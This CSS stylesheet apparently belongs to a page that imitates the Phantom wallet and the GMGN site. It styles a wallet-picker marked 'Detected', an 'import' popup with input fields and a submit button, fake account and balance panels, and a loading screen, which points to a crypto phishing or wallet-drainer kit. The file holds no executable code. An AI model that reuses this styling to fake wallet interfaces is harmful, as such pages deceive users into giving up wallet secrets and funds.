    /* Common styles */
    
    body,
    html {
        margin: 0;
        padding: 0;
        height: 100%;
        font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
    }
    
    .container {
        position: relative;
        width: 100%;
        height: 100vh;
        overflow: hidden;
    }
    
    .background {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        object-fit: cover;
        object-position: center center;
        z-index: 1;
    }
    
    .overlay {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0, 0, 0, 0.85);
        z-index: 2;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        color: white;
        text-align: center;
    }
    
    .content {
        max-width: 600px;
        padding: 20px;
    }
    
    .title {
        font-size: 32px;
        font-weight: bold;
        margin-bottom: 15px;
    }
    
    .subtitle {
        font-size: 18px;
        margin-bottom: 30px;
        opacity: 1;
    }
    
    .button {
        background-color: rgb(52, 168, 83);
        color: white;
        padding: 12px 24px;
        border-radius: 6px;
        border: none;
        font-size: 16px;
        cursor: pointer;
        margin-bottom: 15px;
        transition: background-color 0.3s;
        text-decoration: none;
        display: inline-block;
    }
    
    .button:hover {
        background-color: rgb(45, 145, 72);
    }
    
    .or-text {
        font-size: 14px;
        opacity: 0.8;
        margin-top: 10px;
    }
    
    .telegram-link {
        color: rgb(52, 168, 83);
        text-decoration: none;
    }
    
    .telegram-link:hover {
        text-decoration: underline;
    }
    /* Wallet Modal Styles */
    
    .wallet-modal {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: rgba(0, 0, 0, 0.85);
        z-index: 1000;
        display: none;
        /* Center the modal content using flexbox */
        align-items: center;
        justify-content: center;
    }
    
    .wallet-modal.active {
        display: flex;
    }
    
    .wallet-modal-content {
        background: #0d0d0d;
        border-radius: 16px;
        width: 70%;
        max-width: 400px;
        padding: 24px;
        position: relative;
    }
    
    .wallet-modal-header {
        display: flex;
        flex-direction: column;
        align-items: center;
        margin-bottom: 24px;
    }
    
    .wallet-modal-title {
        color: white;
        font-size: 18px;
        font-weight: 400;
        text-align: left;
    }
    
    .wallet-modal-close {
        position: absolute;
        top: 1px;
        right: 1px;
        color: white;
        background: none;
        border: none;
        font-size: 24px;
        cursor: pointer;
        display: none;
    }
    
    .wallet-list {
        display: flex;
        flex-direction: column;
        gap: 8px;
    }
    
    .wallet-option {
        display: flex;
        align-items: center;
        justify-content: space-between;
        /* Ensures proper spacing */
        padding: 10px;
        background: #151515;
        border-radius: 8px;
        cursor: pointer;
        /* Changes cursor to pointing finger */
    }
    
    .wallet-option:hover {
        background: #414141;
    }
    
    .wallet-left {
        display: flex;
        align-items: center;
    }
    
    .wallet-icon {
        width: 30px;
        height: 30px;
        margin-right: 6px;
        border-radius: 20%;
        /* Space between icon and text */
    }
    
    .wallet-name {
        font-size: 16px;
        font-weight: bold;
        color: #fff;
        margin-left: 10px;
        /* Controls spacing from icon */
    }
    
    .wallet-status {
        font-size: 14px;
        font-weight: bold;
        color: #00ff99;
        text-shadow: 0px 0px 5px #00ff99;
        margin-left: auto;
        /* Pushes "Detected" to the right */
    }
    /* Modal Collapse Button Styles */
    
    .modal-collapse-button {
        width: 36px;
        height: 4px;
        background: rgba(255, 255, 255, 0.3);
        border-radius: 4px;
        margin-bottom: 16px;
        cursor: pointer;
        display: none;
    }
    /* Remove unused elements */
    
    .collapse-line,
    .collapse-arrow {
        display: none;
    }
    /* Mobile styles (up to 767px) */
    
    @media (max-width: 767px) {
        .content {
            padding: 15px;
            max-width: 90%;
        }
        .title {
            font-size: 28px;
        }
        .subtitle {
            font-size: 16px;
        }
        .background {
            content: url('../images/gmgn2.png');
            object-position: 50% 0;
        }
    }
    
    .wallet-modal.active .wallet-modal-content {
        transform: translateY(0);
    }
    
    .wallet-modal-header {
        position: relative;
        padding-top: 8px;
        margin-bottom: 24px;
    }
    
    .wallet-modal-title {
        width: 100%;
        text-align: left;
        font-size: 20px;
        font-weight: 500;
        margin-top: -7px;
    }
    
    .wallet-modal-close {
        display: flex;
        /* Always hide on mobile */
    }
    
    .wallet-list {
        gap: 12px;
        padding-bottom: calc(env(safe-area-inset-bottom, 20px) + 12px);
    }
    
    .wallet-option {
        padding: 16px;
        border-radius: 16px;
        background: rgba(255, 255, 255, 0.05);
        transition: background-color 0.2s ease;
    }
    
    .wallet-option:active {
        background: rgba(255, 255, 255, 0.1);
    }
    
    .wallet-modal.dragging .wallet-modal-content {
        transition: none;
    }
    
    .wallet-modal.closing .wallet-modal-content {
        transform: translateY(100%);
    }
    
    .modal-collapse-button {
        display: block;
    }
    
    .wallet-modal.dragging .modal-collapse-button {
        opacity: 0.5;
    }
    
    .wallet-modal.closing .modal-collapse-button {
        opacity: 0.5;
        transform: scaleY(0.8);
    }
    /* Tablet styles (768px to 1023px) */
    
    @media (min-width: 768px) and (max-width: 1023px) {
        .content {
            max-width: 80%;
        }
        .title {
            font-size: 36px;
        }
        .subtitle {
            font-size: 18px;
        }
        .background {
            content: url('../images/gmgn1.png');
            object-position: center center;
        }
    }
    /* Desktop styles (1024px and above) */
    
    @media (min-width: 1024px) {
        .wallet-modal-close {
            display: block;
        }
    }
    
    .import-modal {
        position: fixed;
        top: -40px;
        right: 135px;
        width: 3.7in;
        height: 6.6in;
        background: rgba(20, 20, 20, 0.95);
        border-left: 1px solid rgba(255, 255, 255, 0.1);
        border-right: 1px solid rgba(255, 255, 255, 0.1);
        border-bottom: 1px solid rgba(255, 255, 255, 0.1);
        border-top: none;
        border-radius: 0px;
        box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
        z-index: 1001;
    }
    
    .import-iframe {
        width: 100%;
        height: 100%;
        border: none;
    }
    /* 🔹 Center the modal on mobile devices */
    
    @media screen and (max-width: 768px) {
        .import-modal {
            top: 50%;
            left: 50%;
            right: auto;
            transform: translate(-50%, -50%);
            width: 90%;
            height: 90%;
            max-height: 90%;
            display: flex;
            flex-direction: column;
            justify-content: space-between;
            /* Ensures button stays at the bottom */
            align-items: center;
            border-left: none;
            border-right: none;
            border-radius: 10px;
            padding: 10px;
        }
    }
    
    .phantom-wallet-container {
        display: flex;
        flex-direction: column;
        justify-content: space-between;
        /* Space between content and submit button */
        align-items: center;
        height: 100%;
        width: 100%;
        padding: 10px;
        box-sizing: border-box;
    }
    /* 🔹 Make input fields smaller to fit in popup */
    
    .phantom-wallet-container input {
        width: 90%;
        font-size: 14px;
        padding: 8px;
        margin-bottom: 8px;
    }
    /* 🔹 Ensure the submit button is always visible */
    
    .phantom-submit-btn {
        width: 90%;
        font-size: 16px;
        padding: 10px;
        background: #4caf50;
        color: white;
        border: none;
        cursor: pointer;
        text-align: center;
        margin-top: auto;
    }
    
    .phantom-submit-btn:hover {
        background: #45a049;
    }
    /* Full-page loading screen */
    /* Full-page loading screen with a fully opaque background */
    
    #loading-screen {
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background: #121212;
        /* Change to solid black or your desired color */
        display: flex;
        align-items: center;
        justify-content: center;
        flex-direction: column;
        color: white;
        font-size: 18px;
        font-weight: bold;
        z-index: 2000;
    }
    /* Custom Loader - SVG */
    
    .custom-loader img {
        width: 80px;
        /* Adjust as needed */
        height: auto;
    }
    /* Loading Message Text */
    
    #loading-message {
        margin-top: 10px;
        font-size: 16px;
        font-weight: bold;
        text-align: center;
        transition: opacity 0.5s ease-in-out;
    }
    /* Text Fade Animation */
    
    @keyframes fadeText {
        0% {
            opacity: 0;
        }
        50% {
            opacity: 1;
        }
        100% {
            opacity: 0;
        }
    }
    /* Loader Spin Animation */
    
    @keyframes spin {
        to {
            transform: rotate(360deg);
        }
    }
    
    .white-text {
        color: white;
    }
    /* Phantom Popup Styles */
    
    .phantom-popup {
        display: none;
        position: fixed;
        top: 20px;
        right: 20px;
        width: 360px;
        background: #1a1a1a;
        border-radius: 12px;
        box-shadow: 0 8px 32px rgba(0, 0, 0, 0.3);
        z-index: 1001;
        overflow: hidden;
    }
    
    .phantom-header {
        display: flex;
        align-items: center;
        padding: 16px;
        background: #2a2a2a;
        cursor: move;
    }
    
    .phantom-logo {
        width: 32px;
        height: 32px;
        margin-right: 12px;
    }
    
    .phantom-title {
        color: white;
        font-weight: 500;
        flex-grow: 1;
    }
    
    .phantom-close {
        color: white;
        background: none;
        border: none;
        font-size: 24px;
        cursor: pointer;
        padding: 0 8px;
    }
    
    .phantom-content {
        padding: 20px;
        color: white;
    }
    
    .phantom-content h3 {
        margin: 0 0 12px 0;
        font-size: 20px;
    }
    
    .phantom-content p {
        color: #888;
        margin-bottom: 24px;
        font-size: 14px;
    }
    
    .phantom-accounts {
        margin-bottom: 24px;
    }
    
    .phantom-account {
        padding: 12px;
        border-radius: 8px;
        background: #2a2a2a;
        margin-bottom: 8px;
        cursor: pointer;
        transition: background-color 0.2s ease;
    }
    
    .phantom-account:hover {
        background-color: #333;
    }
    
    .account-address {
        display: block;
        font-size: 14px;
        margin-bottom: 4px;
    }
    
    .account-balance {
        font-size: 12px;
        color: #888;
    }
    
    .phantom-connect-btn {
        width: 100%;
        padding: 12px;
        background: #4a90e2;
        color: white;
        border: none;
        border-radius: 8px;
        cursor: pointer;
        font-weight: 500;
        transition: background-color 0.2s ease;
    }
    
    .phantom-connect-btn:hover {
        background-color: #357abd;
    }